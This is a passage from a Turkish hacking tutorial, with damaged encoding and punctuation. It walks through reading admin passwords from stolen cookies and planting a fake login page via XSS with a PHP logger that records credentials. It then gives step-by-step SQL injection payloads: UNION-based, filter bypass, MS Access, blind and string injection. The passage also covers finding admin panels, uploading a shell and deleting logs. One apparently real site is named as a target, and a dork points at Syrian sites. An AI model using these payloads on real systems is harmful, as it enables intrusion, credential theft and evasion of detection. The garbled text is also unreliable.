9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

